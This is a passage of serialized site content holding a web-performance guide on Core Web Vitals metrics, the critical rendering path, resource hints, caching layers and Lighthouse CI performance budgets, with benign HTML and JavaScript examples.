Metrics",[16,222993,222994],{},"Modern performance measurement focuses on what users actually perceive. These are the metrics that matter:",[193,222996,222997,223013],{},[196,222998,222999],{},[199,223000,223001,223003,223006,223009,223011],{},[202,223002,15609],{},[202,223004,223005],{},"Full Name",[202,223007,223008],{},"Measures",[202,223010,175880],{},[202,223012,175850],{},[211,223014,223015,223032,223046,223061,223076,223088,223105],{},[199,223016,223017,223020,223023,223026,223029],{},[216,223018,223019],{},"FP",[216,223021,223022],{},"First Paint",[216,223024,223025],{},"First pixel on screen",[216,223027,223028],{},"≤ 1 s",[216,223030,223031],{},"> 3 s",[199,223033,223034,223036,223038,223041,223044],{},[216,223035,41514],{},[216,223037,54167],{},[216,223039,223040],{},"First text or image renders",[216,223042,223043],{},"≤ 1.8 s",[216,223045,223031],{},[199,223047,223048,223050,223052,223055,223058],{},[216,223049,54175],{},[216,223051,41535],{},[216,223053,223054],{},"Main content visible",[216,223056,223057],{},"≤ 2.5 s",[216,223059,223060],{},"> 4 s",[199,223062,223063,223065,223067,223070,223073],{},[216,223064,54185],{},[216,223066,54188],{},[216,223068,223069],{},"Page responds to input",[216,223071,223072],{},"≤ 3.8 s",[216,223074,223075],{},"> 7.3 s",[199,223077,223078,223080,223082,223084,223086],{},[216,223079,54196],{},[216,223081,54199],{},[216,223083,69479],{},[216,223085,184743],{},[216,223087,184746],{},[199,223089,223090,223093,223096,223099,223102],{},[216,223091,223092],{},"INP",[216,223094,223095],{},"Interaction to Next Paint",[216,223097,223098],{},"Input responsiveness",[216,223100,223101],{},"≤ 200 ms",[216,223103,223104],{},"> 500 ms",[199,223106,223107,223110,223113,223116,223119],{},[216,223108,223109],{},"TTFB",[216,223111,223112],{},"Time to First Byte",[216,223114,223115],{},"Server response speed",[216,223117,223118],{},"≤ 800 ms",[216,223120,223121],{},"> 1.8 s",[16,223123,223124],{},"Google's Core Web Vitals (LCP, CLS, INP) directly influence search rankings. If you track nothing else, track these three.",[33,223126,223128],{"id":223127},"how-the-metrics-relate","How the Metrics Relate",[16,223130,223131],{},"Metrics fire in sequence:",[77,223133,223134,223139,223144,223149,223154],{},[44,223135,223136,223138],{},[47,223137,223109],{}," — Server responds",[44,223140,223141,223143],{},[47,223142,223019],{}," — Browser paints the first pixel (often a blank screen)",[44,223145,223146,223148],{},[47,223147,41514],{}," — First useful content appears (text, image, canvas)",[44,223150,223151,223153],{},[47,223152,54175],{}," — Largest above-the-fold element finishes rendering",[44,223155,223156,223158],{},[47,223157,54185],{}," — JavaScript event handlers attached, page is usable",[16,223160,223161],{},"Each metric depends on the previous one. A slow TTFB cascades into slow everything else.",[11,223163,223165],{"id":223164},"the-critical-rendering-path","The Critical Rendering Path",[16,223167,223168],{},"The critical rendering path is the sequence of steps the browser takes to turn HTML, CSS, and JavaScript into pixels on screen.",[33,223170,223172],{"id":223171},"step-by-step","Step-by-Step",[77,223174,223175,223181,223187,223193,223198,223203],{},[44,223176,223177,223180],{},[47,223178,223179],{},"Parse HTML"," → Build the DOM tree",[44,223182,223183,223186],{},[47,223184,223185],{},"Fetch and parse CSS"," → Build the CSSOM tree",[44,223188,223189,223192],{},[47,223190,223191],{},"Combine DOM + CSSOM"," → Render tree (visible nodes only)",[44,223194,223195,223197],{},[47,223196,77416],{}," → Calculate geometry (size, position)",[44,223199,223200,223202],{},[47,223201,77419],{}," → Fill pixels (colors, images, borders)",[44,223204,223205,223207],{},[47,223206,77422],{}," → Layer compositing for final screen output",[16,223209,223210,223211,223213,223214,1531,223216,9368],{},"JavaScript can interrupt this path. When the parser hits a ",[143,223212,34727],{}," tag, it stops building the DOM until the script executes (unless the script is ",[143,223215,82166],{},[143,223217,135283],{},[33,223219,223221],{"id":223220},"optimizing-the-path","Optimizing the Path",[193,223223,223224,223234],{},[196,223225,223226],{},[199,223227,223228,223230,223232],{},[202,223229,52178],{},[202,223231,922],{},[202,223233,34974],{},[211,223235,223236,223247,223261,223275,223288],{},[199,223237,223238,223241,223244],{},[216,223239,223240],{},"Inline critical CSS",[216,223242,223243],{},"Renders above-the-fold content without waiting for external CSS",[216,223245,223246],{},"Faster FCP",[199,223248,223249,223255,223258],{},[216,223250,223251,44235,223253],{},[143,223252,135283],{},[143,223254,34727],{},[216,223256,223257],{},"Parses HTML first, executes scripts after DOM ready",[216,223259,223260],{},"Faster FCP\u002FTTI",[199,223262,223263,223269,223272],{},[216,223264,223265,44235,223267],{},[143,223266,82166],{},[143,223268,34727],{},[216,223270,223271],{},"Downloads in parallel, executes whenever ready",[216,223273,223274],{},"Good for analytics",[199,223276,223277,223280,223285],{},[216,223278,223279],{},"Preload key resources",[216,223281,223282,223284],{},[143,223283,184762],{}," fetches early",[216,223286,223287],{},"Faster LCP",[199,223289,223290,223293,223296],{},[216,223291,223292],{},"Avoid render-blocking CSS",[216,223294,223295],{},"Split CSS into critical and deferred chunks",[216,223297,223246],{},[135,223299,223301],{"className":6417,"code":223300,"language":6419,"meta":141,"style":141},"\u003C!-- Critical CSS inlined in \u003Chead> -->\n\u003Cstyle>body{margin:0;font-family:sans-serif}.hero{font-size:2rem}\u003C\u002Fstyle>\n\n\u003C!-- Non-critical CSS loaded asynchronously -->\n\u003Clink rel=\"preload\" href=\"styles.css\" as=\"style\"\n      onload=\"this.rel='stylesheet'\">\n\n\u003C!-- Scripts deferred to avoid blocking parsing -->\n\u003Cscript src=\"app.js\" defer>\u003C\u002Fscript>\n",[143,223302,223303,223308,223355,223359,223364,223389,223409,223413,223418],{"__ignoreMap":141},[1560,223304,223305],{"class":1562,"line":1563},[1560,223306,223307],{"class":1649},"\u003C!-- Critical CSS inlined in \u003Chead> -->\n",[1560,223309,223310,223312,223314,223316,223318,223320,223322,223324,223326,223328,223330,223332,223334,223336,223338,223340,223342,223344,223346,223348,223351,223353],{"class":1562,"line":337},[1560,223311,6431],{"class":1570},[1560,223313,2043],{"class":2484},[1560,223315,28226],{"class":1570},[1560,223317,2485],{"class":2484},[1560,223319,51622],{"class":1570},[1560,223321,1876],{"class":1576},[1560,223323,8037],{"class":1570},[1560,223325,5285],{"class":1576},[1560,223327,36973],{"class":1570},[1560,223329,41093],{"class":1576},[1560,223331,8037],{"class":1570},[1560,223333,41103],{"class":1576},[1560,223335,8230],{"class":1570},[1560,223337,32789],{"class":1566},[1560,223339,51622],{"class":1570},[1560,223341,72075],{"class":1576},[1560,223343,8037],{"class":1570},[1560,223345,10099],{"class":1576},[1560,223347,32215],{"class":1669},[1560,223349,223350],{"class":1570},"}\u003C\u002F",[1560,223352,2043],{"class":2484},[1560,223354,6441],{"class":1570},[1560,223356,223357],{"class":1562,"line":343},[1560,223358,1702],{"emptyLinePlaceholder":363},[1560,223360,223361],{"class":1562,"line":365},[1560,223362,223363],{"class":1649},"\u003C!-- Non-critical CSS loaded asynchronously -->\n",[1560,223365,223366,223368,223370,223372,223374,223376,223378,223380,223383,223385,223387],{"class":1562,"line":889},[1560,223367,6431],{"class":1570},[1560,223369,40993],{"class":2484},[1560,223371,40996],{"class":1566},[1560,223373,7297],{"class":1570},[1560,223375,41209],{"class":5634},[1560,223377,41004],{"class":1566},[1560,223379,7297],{"class":1570},[1560,223381,223382],{"class":5634},"\"styles.css\"",[1560,223384,41218],{"class":1566},[1560,223386,7297],{"class":1570},[1560,223388,41223],{"class":5634},[1560,223390,223391,223393,223395,223397,223399,223401,223403,223405,223407],{"class":1562,"line":1710},[1560,223392,54092],{"class":1566},[1560,223394,7297],{"class":1570},[1560,223396,8721],{"class":5634},[1560,223398,41235],{"class":1576},[1560,223400,468],{"class":5634},[1560,223402,41240],{"class":1570},[1560,223404,7297],{"class":1669},[1560,223406,41245],{"class":5634},[1560,223408,6441],{"class":1570},[1560,223410,223411],{"class":1562,"line":1717},[1560,223412,1702],{"emptyLinePlaceholder":363},[1560,223414,223415],{"class":1562,"line":1747},[1560,223416,223417],{"class":1649},"\u003C!-- Scripts deferred to avoid blocking parsing -->\n",[1560,223419,223420,223422,223424,223426,223428,223430,223432,223434,223436],{"class":1562,"line":2507},[1560,223421,6431],{"class":1570},[1560,223423,11475],{"class":2484},[1560,223425,10631],{"class":1566},[1560,223427,7297],{"class":1570},[1560,223429,134796],{"class":5634},[1560,223431,135304],{"class":1566},[1560,223433,12441],{"class":1570},[1560,223435,11475],{"class":2484},[1560,223437,6441],{"class":1570},[11,223439,223441],{"id":223440},"resource-prioritization","Resource Prioritization",[16,223443,223444],{},"Not all resources are equally important. The browser assigns priorities based on type and position, but you can override them.",[33,223446,223448],{"id":223447},"priority-hints","Priority Hints",[16,223450,1388,223451,223454],{},[143,223452,223453],{},"fetchpriority"," to tell the browser what matters most:",[135,223456,223458],{"className":6417,"code":223457,"language":6419,"meta":141,"style":141},"\u003C!-- High priority: hero image above the fold -->\n\u003Cimg src=\"hero.jpg\" fetchpriority=\"high\" alt=\"Hero image\">\n\n\u003C!-- Low priority: below-the-fold content -->\n\u003Cimg src=\"supplementary.jpg\" fetchpriority=\"low\" alt=\"Supplementary image\">\n\n\u003C!-- High priority: critical script -->\n\u003Cscript src=\"core.js\" fetchpriority=\"high\">\u003C\u002Fscript>\n",[143,223459,223460,223465,223494,223498,223503,223532,223536,223541],{"__ignoreMap":141},[1560,223461,223462],{"class":1562,"line":1563},[1560,223463,223464],{"class":1649},"\u003C!-- High priority: hero image above the fold -->\n",[1560,223466,223467,223469,223471,223473,223475,223477,223480,223482,223485,223487,223489,223492],{"class":1562,"line":337},[1560,223468,6431],{"class":1570},[1560,223470,10628],{"class":2484},[1560,223472,10631],{"class":1566},[1560,223474,7297],{"class":1570},[1560,223476,130608],{"class":5634},[1560,223478,223479],{"class":1566}," fetchpriority",[1560,223481,7297],{"class":1570},[1560,223483,223484],{"class":5634},"\"high\"",[1560,223486,12889],{"class":1566},[1560,223488,7297],{"class":1570},[1560,223490,223491],{"class":5634},"\"Hero image\"",[1560,223493,6441],{"class":1570},[1560,223495,223496],{"class":1562,"line":343},[1560,223497,1702],{"emptyLinePlaceholder":363},[1560,223499,223500],{"class":1562,"line":365},[1560,223501,223502],{"class":1649},"\u003C!-- Low priority: below-the-fold content -->\n",[1560,223504,223505,223507,223509,223511,223513,223516,223518,223520,223523,223525,223527,223530],{"class":1562,"line":889},[1560,223506,6431],{"class":1570},[1560,223508,10628],{"class":2484},[1560,223510,10631],{"class":1566},[1560,223512,7297],{"class":1570},[1560,223514,223515],{"class":5634},"\"supplementary.jpg\"",[1560,223517,223479],{"class":1566},[1560,223519,7297],{"class":1570},[1560,223521,223522],{"class":5634},"\"low\"",[1560,223524,12889],{"class":1566},[1560,223526,7297],{"class":1570},[1560,223528,223529],{"class":5634},"\"Supplementary image\"",[1560,223531,6441],{"class":1570},[1560,223533,223534],{"class":1562,"line":1710},[1560,223535,1702],{"emptyLinePlaceholder":363},[1560,223537,223538],{"class":1562,"line":1717},[1560,223539,223540],{"class":1649},"\u003C!-- High priority: critical script -->\n",[1560,223542,223543,223545,223547,223549,223551,223554,223556,223558,223560,223562,223564],{"class":1562,"line":1747},[1560,223544,6431],{"class":1570},[1560,223546,11475],{"class":2484},[1560,223548,10631],{"class":1566},[1560,223550,7297],{"class":1570},[1560,223552,223553],{"class":5634},"\"core.js\"",[1560,223555,223479],{"class":1566},[1560,223557,7297],{"class":1570},[1560,223559,223484],{"class":5634},[1560,223561,12441],{"class":1570},[1560,223563,11475],{"class":2484},[1560,223565,6441],{"class":1570},[33,223567,223569],{"id":223568},"resource-hints","Resource Hints",[193,223571,223572,223582],{},[196,223573,223574],{},[199,223575,223576,223578,223580],{},[202,223577,110109],{},[202,223579,2758],{},[202,223581,55330],{},[211,223583,223584,223597,223610,223623,223636],{},[199,223585,223586,223591,223594],{},[216,223587,223588],{},[143,223589,223590],{},"dns-prefetch",[216,223592,223593],{},"Resolve DNS early",[216,223595,223596],{},"Third-party domains",[199,223598,223599,223604,223607],{},[216,223600,223601],{},[143,223602,223603],{},"preconnect",[216,223605,223606],{},"Establish connection (DNS + TCP + TLS)",[216,223608,223609],{},"Critical third-party origins",[199,223611,223612,223617,223620],{},[216,223613,223614],{},[143,223615,223616],{},"preload",[216,223618,223619],{},"Fetch resource early with high priority",[216,223621,223622],{},"Hero images, critical fonts, key CSS",[199,223624,223625,223630,223633],{},[216,223626,223627],{},[143,223628,223629],{},"prefetch",[216,223631,223632],{},"Fetch for future navigation",[216,223634,223635],{},"Next-page resources",[199,223637,223638,223643,223646],{},[216,223639,223640],{},[143,223641,223642],{},"modulepreload",[216,223644,223645],{},"Preload ES modules",[216,223647,223648],{},"Critical JS modules",[135,223650,223652],{"className":6417,"code":223651,"language":6419,"meta":141,"style":141},"\u003C!-- Preconnect to your API and CDN -->\n\u003Clink rel=\"preconnect\" href=\"https:\u002F\u002Fapi.example.com\">\n\u003Clink rel=\"preconnect\" href=\"https:\u002F\u002Fcdn.example.com\">\n\n\u003C!-- Preload the LCP image -->\n\u003Clink rel=\"preload\" as=\"image\" href=\"hero.webp\">\n",[143,223653,223654,223659,223681,223702,223706,223711],{"__ignoreMap":141},[1560,223655,223656],{"class":1562,"line":1563},[1560,223657,223658],{"class":1649},"\u003C!-- Preconnect to your API and CDN -->\n",[1560,223660,223661,223663,223665,223667,223669,223672,223674,223676,223679],{"class":1562,"line":337},[1560,223662,6431],{"class":1570},[1560,223664,40993],{"class":2484},[1560,223666,40996],{"class":1566},[1560,223668,7297],{"class":1570},[1560,223670,223671],{"class":5634},"\"preconnect\"",[1560,223673,41004],{"class":1566},[1560,223675,7297],{"class":1570},[1560,223677,223678],{"class":5634},"\"https:\u002F\u002Fapi.example.com\"",[1560,223680,6441],{"class":1570},[1560,223682,223683,223685,223687,223689,223691,223693,223695,223697,223700],{"class":1562,"line":343},[1560,223684,6431],{"class":1570},[1560,223686,40993],{"class":2484},[1560,223688,40996],{"class":1566},[1560,223690,7297],{"class":1570},[1560,223692,223671],{"class":5634},[1560,223694,41004],{"class":1566},[1560,223696,7297],{"class":1570},[1560,223698,223699],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\"",[1560,223701,6441],{"class":1570},[1560,223703,223704],{"class":1562,"line":365},[1560,223705,1702],{"emptyLinePlaceholder":363},[1560,223707,223708],{"class":1562,"line":889},[1560,223709,223710],{"class":1649},"\u003C!-- Preload the LCP image -->\n",[1560,223712,223713,223715,223717,223719,223721,223723,223725,223727,223730,223732,223734,223737],{"class":1562,"line":1710},[1560,223714,6431],{"class":1570},[1560,223716,40993],{"class":2484},[1560,223718,40996],{"class":1566},[1560,223720,7297],{"class":1570},[1560,223722,41209],{"class":5634},[1560,223724,41218],{"class":1566},[1560,223726,7297],{"class":1570},[1560,223728,223729],{"class":5634},"\"image\"",[1560,223731,41004],{"class":1566},[1560,223733,7297],{"class":1570},[1560,223735,223736],{"class":5634},"\"hero.webp\"",[1560,223738,6441],{"class":1570},[11,223740,223742],{"id":223741},"caching-strategies","Caching Strategies",[16,223744,223745],{},"Caching prevents repeat downloads. Combine multiple layers for maximum effect:",[33,223747,223749],{"id":223748},"browser-cache-http-headers","Browser Cache (HTTP Headers)",[193,223751,223752,223764],{},[196,223753,223754],{},[199,223755,223756,223759,223761],{},[202,223757,223758],{},"Header",[202,223760,2758],{},[202,223762,223763],{},"Typical Value",[211,223765,223766,223780,223793],{},[199,223767,223768,223772,223775],{},[216,223769,223770],{},[143,223771,35063],{},[216,223773,223774],{},"Directives for caching behavior",[216,223776,223777],{},[143,223778,223779],{},"max-age=31536000, immutable",[199,223781,223782,223787,223790],{},[216,223783,223784],{},[143,223785,223786],{},"ETag",[216,223788,223789],{},"Validation token for revalidation",[216,223791,223792],{},"Auto-generated by server",[199,223794,223795,223800,223803],{},[216,223796,223797],{},[143,223798,223799],{},"Last-Modified",[216,223801,223802],{},"Timestamp for conditional requests",[216,223804,223805],{},"File modification date",[16,223807,223808],{},"For static assets with hashed filenames, use aggressive caching:",[135,223810,223812],{"className":223811,"code":185076,"language":140},[138],[143,223813,185076],{"__ignoreMap":141},[16,223815,421,223816,223818],{},[143,223817,185089],{}," flag tells the browser to skip revalidation entirely — the filename changes when the content changes, so the cached version is always valid.",[33,223820,223822],{"id":223821},"service-worker-cache","Service Worker Cache",[16,223824,223825],{},"Service workers give you programmatic control over caching:",[135,223827,223829],{"className":1607,"code":223828,"language":1609,"meta":141,"style":141},"\u002F\u002F Cache-first strategy for static assets\nself.addEventListener('fetch', (event) => {\n  if (event.request.url.includes('\u002Fassets\u002F')) {\n    event.respondWith(\n      caches.match(event.request).then((cached) => {\n        return cached || fetch(event.request)\n      })\n    )\n  }\n})\n",[143,223830,223831,223836,223857,223873,223883,223907,223921,223925,223929,223933],{"__ignoreMap":141},[1560,223832,223833],{"class":1562,"line":1563},[1560,223834,223835],{"class":1649},"\u002F\u002F Cache-first strategy for static assets\n",[1560,223837,223838,223840,223842,223844,223847,223849,223851,223853,223855],{"class":1562,"line":337},[1560,223839,110893],{"class":1570},[1560,223841,11766],{"class":1566},[1560,223843,1688],{"class":1570},[1560,223845,223846],{"class":5634},"'fetch'",[1560,223848,38863],{"class":1570},[1560,223850,135889],{"class":2219},[1560,223852,1733],{"class":1570},[1560,223854,11503],{"class":1669},[1560,223856,1571],{"class":1570},[1560,223858,223859,223861,223864,223866,223868,223871],{"class":1562,"line":343},[1560,223860,27984],{"class":1669},[1560,223862,223863],{"class":1570}," (event.request.url.",[1560,223865,27995],{"class":1566},[1560,223867,1688],{"class":1570},[1560,223869,223870],{"class":5634},"'\u002Fassets\u002F'",[1560,223872,76199],{"class":1570},[1560,223874,223875,223878,223881],{"class":1562,"line":365},[1560,223876,223877],{"class":1570},"    event.",[1560,223879,223880],{"class":1566},"respondWith",[1560,223882,35957],{"class":1570},[1560,223884,223885,223888,223890,223893,223896,223898,223901,223903,223905],{"class":1562,"line":889},[1560,223886,223887],{"class":1570},"      caches.",[1560,223889,97000],{"class":1566},[1560,223891,223892],{"class":1570},"(event.request).",[1560,223894,223895],{"class":1566},"then",[1560,223897,11495],{"class":1570},[1560,223899,223900],{"class":2219},"cached",[1560,223902,1733],{"class":1570},[1560,223904,11503],{"class":1669},[1560,223906,1571],{"class":1570},[1560,223908,223909,223911,223914,223916,223918],{"class":1562,"line":1710},[1560,223910,28236],{"class":1669},[1560,223912,223913],{"class":1570}," cached ",[1560,223915,82344],{"class":1669},[1560,223917,82254],{"class":1566},[1560,223919,223920],{"class":1570},"(event.request)\n",[1560,223922,223923],{"class":1562,"line":1717},[1560,223924,50044],{"class":1570},[1560,223926,223927],{"class":1562,"line":1747},[1560,223928,39137],{"class":1570},[1560,223930,223931],{"class":1562,"line":2507},[1560,223932,4959],{"class":1570},[1560,223934,223935],{"class":1562,"line":2524},[1560,223936,1626],{"class":1570},[33,223938,223940],{"id":223939},"cdn-cache","CDN Cache",[16,223942,223943],{},"CDNs serve your content from edge servers close to users. Benefits include:",[41,223945,223946,223949,223952,223955],{},[44,223947,223948],{},"Reduced TTFB (response comes from nearby edge, not origin)",[44,223950,223951],{},"Automatic compression (gzip\u002FBrotli)",[44,223953,223954],{},"DDoS absorption",[44,223956,223957],{},"SSL termination offloaded from origin",[16,223959,223960],{},"Configure CDN cache based on content type: long TTL for static assets, short TTL or stale-while-revalidate for HTML.",[11,223962,223964],{"id":223963},"performance-budgets","Performance Budgets",[16,223966,223967],{},"A performance budget sets numeric limits on metrics and resource sizes. It prevents gradual bloat from eroding speed over time.",[33,223969,223971],{"id":223970},"setting-a-budget","Setting a Budget",[193,223973,223974,223985],{},[196,223975,223976],{},[199,223977,223978,223980,223983],{},[202,223979,181452],{},[202,223981,223982],{},"Suggested Budget",[202,223984,12089],{},[211,223986,223987,223998,224008,224018,224028,224038,224048],{},[199,223988,223989,223992,223995],{},[216,223990,223991],{},"Total page weight",[216,223993,223994],{},"\u003C 1 MB (compressed)",[216,223996,223997],{},"Fits in slow 3G within 5 s",[199,223999,224000,224002,224005],{},[216,224001,9860],{},[216,224003,224004],{},"\u003C 200 KB (compressed)",[216,224006,224007],{},"Keeps TTI under 5 s on mobile",[199,224009,224010,224012,224015],{},[216,224011,104808],{},[216,224013,224014],{},"\u003C 50 KB (compressed)",[216,224016,224017],{},"Fast CSSOM construction",[199,224019,224020,224022,224025],{},[216,224021,132950],{},[216,224023,224024],{},"\u003C 500 KB total",[216,224026,224027],{},"Largest content type, easiest to optimize",[199,224029,224030,224032,224035],{},[216,224031,54175],{},[216,224033,224034],{},"\u003C 2.5 s",[216,224036,224037],{},"Core Web Vitals \"good\" threshold",[199,224039,224040,224042,224045],{},[216,224041,54196],{},[216,224043,224044],{},"\u003C 0.1",[216,224046,224047],{},"No jarring layout shifts",[199,224049,224050,224052,224055],{},[216,224051,54185],{},[216,224053,224054],{},"\u003C 3.8 s",[216,224056,224057],{},"Users can interact quickly",[33,224059,224061],{"id":224060},"enforcing-budgets","Enforcing Budgets",[16,224063,224064],{},"Integrate budget checks into your CI pipeline:",[135,224066,224068],{"className":1607,"code":224067,"language":1609,"meta":141,"style":141},"\u002F\u002F performance-budget.js (Lighthouse CI config)\nmodule.exports = {\n  ci: {\n    assert: {\n      assertions: {\n        'categories:performance': ['error', { minScore: 0.9 }],\n        'first-contentful-paint': ['error', { maxNumericValue: 1800 }],\n        'largest-contentful-paint': ['error', { maxNumericValue: 2500 }],\n        'cumulative-layout-shift': ['error', { maxNumericValue: 0.1 }],\n        'total-byte-weight': ['warn', { maxNumericValue: 1000000 }],\n      },\n    },\n  },\n}\n",[143,224069,224070,224075,224087,224092,224097,224102,224118,224135,224151,224166,224182,224186,224190,224194],{"__ignoreMap":141},[1560,224071,224072],{"class":1562,"line":1563},[1560,224073,224074],{"class":1649},"\u002F\u002F performance-budget.js (Lighthouse CI config)\n",[1560,224076,224077,224079,224081,224083,224085],{"class":1562,"line":337},[1560,224078,11885],{"class":1576},[1560,224080,468],{"class":1570},[1560,224082,11890],{"class":1576},[1560,224084,8186],{"class":1669},[1560,224086,1571],{"class":1570},[1560,224088,224089],{"class":1562,"line":343},[1560,224090,224091],{"class":1570},"  ci: {\n",[1560,224093,224094],{"class":1562,"line":365},[1560,224095,224096],{"class":1570},"    assert: {\n",[1560,224098,224099],{"class":1562,"line":889},[1560,224100,224101],{"class":1570},"      assertions: {\n",[1560,224103,224104,224107,224109,224111,224114,224116],{"class":1562,"line":1710},[1560,224105,224106],{"class":5634},"        'categories:performance'",[1560,224108,37187],{"class":1570},[1560,224110,163332],{"class":5634},[1560,224112,224113],{"class":1570},", { minScore: ",[1560,224115,79476],{"class":1576},[1560,224117,20781],{"class":1570},[1560,224119,224120,224123,224125,224127,224130,224133],{"class":1562,"line":1717},[1560,224121,224122],{"class":5634},"        'first-contentful-paint'",[1560,224124,37187],{"class":1570},[1560,224126,163332],{"class":5634},[1560,224128,224129],{"class":1570},", { maxNumericValue: ",[1560,224131,224132],{"class":1576},"1800",[1560,224134,20781],{"class":1570},[1560,224136,224137,224140,224142,224144,224146,224149],{"class":1562,"line":1747},[1560,224138,224139],{"class":5634},"        'largest-contentful-paint'",[1560,224141,37187],{"class":1570},[1560,224143,163332],{"class":5634},[1560,224145,224129],{"class":1570},[1560,224147,224148],{"class":1576},"2500",[1560,224150,20781],{"class":1570},[1560,224152,224153,224156,224158,224160,224162,224164],{"class":1562,"line":2507},[1560,224154,224155],{"class":5634},"        'cumulative-layout-shift'",[1560,224157,37187],{"class":1570},[1560,224159,163332],{"class":5634},[1560,224161,224129],{"class":1570},[1560,224163,46961],{"class":1576},[1560,224165,20781],{"class":1570},[1560,224167,224168,224171,224173,224176,224178,224180],{"class":1562,"line":2524},[1560,224169,224170],{"class":5634},"        'total-byte-weight'",[1560,224172,37187],{"class":1570},[1560,224174,224175],{"class":5634},"'warn'",[1560,224177,224129],{"class":1570},[1560,224179,42316],{"class":1576},[1560,224181,20781],{"class":1570},[1560,224183,224184],{"class":1562,"line":2529},[1560,224185,11976],{"class":1570},[1560,224187,224188],{"class":1562,"line":2534},[1560,224189,17600],{"class":1570},[1560,224191,224192],{"class":1562,"line":2542},[1560,224193,11862],{"class":1570},[1560,224195,224196],{"class":1562,"line":2558},[1560,224197,1585],{"class":1570},[16,224199,224200],{},"Builds fail when budgets are exceeded, forcing the team to address performance regressions immediately.",[11,224202,224204],{"id":224203},"quick-wins-checklist","Quick Wins Checklist",[41,224206,224208,224214,224222,224228,224234,224243,224249,224260],{"className":224207},[4464],[44,224209,224211,224213],{"className":224210},[4468],[4470,224212],{"disabled":363,"type":4472}," Compress all text resources with Brotli or gzip",[44,224215,224217,224219,224220],{"className":224216},[4468],[4470,224218],{"disabled":363,"type":4472}," Serve images in WebP or AVIF with responsive ",[143,224221,155845],{},[44,224223,224225,224227],{"className":224224},[4468],[4470,224226],{"disabled":363,"type":4472}," Defer non-critical JavaScript",[44,224229,224231,224233],{"className":224230},[4468],[4470,224232],{"disabled":363,"type":4472}," Inline critical CSS, lazy-load the rest",[44,224235,224237,107228,224239,224242],{"className":224236},[4468],[4470,224238],{"disabled":363,"type":4472},[143,224240,224241],{},"Cache-Control: immutable"," on hashed assets",[44,224244,224246,224248],{"className":224245},[4468],[4470,224247],{"disabled":363,"type":4472}," Preload the LCP image and critical fonts",[44,224250,224252,224254,224255,1856,224257,224259],{"className":224251},[4468],[4470,224253],{"disabled":363,"type":4472}," Add ",[143,224256,1870],{},[143,224258,1873],{}," to images to prevent CLS",[44,224261,224263,224265],{"className":224262},[4468],[4470,224264],{"disabled":363,"type":4472}," Configure a performance budget in CI",[11,224267,1355],{"id":1354},[41,224269,224270,224273,224276,224285,224288,224291],{},[44,224271,224272],{},"Track LCP, CLS, and INP — Google's Core Web Vitals that affect rankings",[44,224274,224275],{},"The critical rendering path determines how fast pixels appear; minimize render-blocking resources",[44,224277,1388,224278,1459,224280,1466,224282,224284],{},[143,224279,223453],{},[143,224281,223616],{},[143,224283,223603],{}," to prioritize what matters",[44,224286,224287],{},"Layer browser cache, service workers, and CDN for resilient caching",[44,224289,224290],{},"Performance budgets prevent gradual bloat — enforce them in CI",[44,224292,224293],{},"Every 100 ms counts: faster pages retain more users and rank higher",[11,224295,321],{"id":320},[41,224297,224298,224302,224306],{},[44,224299,224300],{},[98,224301,124196],{"href":50523},[44,224303,224304],{},[98,224305,125070],{"href":125069},[44,224307,224308],{},[98,224309,21351],{"href":21350},[11,224311,286],{"id":285},[16,224313,224314,224315,224317],{},"Minify your HTML and see the size difference with our free ",[98,224316,125088],{"href":124175}," tool. Paste your markup, configure optimization options, and get leaner output in seconds.",[2043,224319,224320],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":224322},[224323,224324,224327,224331,224335,224340,224344,224345,224346,224347],{"id":222980,"depth":337,"text":222981},{"id":222990,"depth":337,"text":222991,"children":224325},[224326],{"id":223127,"depth":343,"text":223128},{"id":223164,"depth":337,"text":223165,"children":224328},[224329,224330],{"id":223171,"depth":343,"text":223172},{"id":223220,"depth":343,"text":223221},{"id":223440,"depth":337,"text":223441,"children":224332},[224333,224334],{"id":223447,"depth":343,"text":223448},{"id":223568,"depth":343,"text":223569},{"id":223741,"depth":337,"text":223742,"children":224336},[224337,224338,224339],{"id":223748,"depth":343,"text":223749},{"id":223821,"depth":343,"text":223822},{"id":223939,"depth":343,"text":223940},{"id":223963,"depth":337,"text":223964,"children":224341},[224342,224343],{"id":223970,"depth":343,"text":223971},{"id":224060,"depth":343,"text":224061},{"id":224203,"depth":337,"text":224204},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master web performance fundamentals — FP, FCP, LCP, TTI, CLS metrics, critical rendering path, caching, and performance budgets.",{"immutable":363},{"title":125076,"description":224348},"guides\u002Fweb-performance-basics","skN-iP73grh2UIhehMO5dLpE7jOOlsZYW0SiQZ5osLc",{"id":224354,"title":224355,"body":224356,"date":2070,"description":224826,"extension":361,"meta":224827,"navigation":363,"path":24458,"readingTime":7146,"seo":224830,"stem":224831,"__hash__":224832},"guides\u002Fguides\u002Fword-count-best-practices.md","Word Count Best Practices: Optimal Lengths for Every 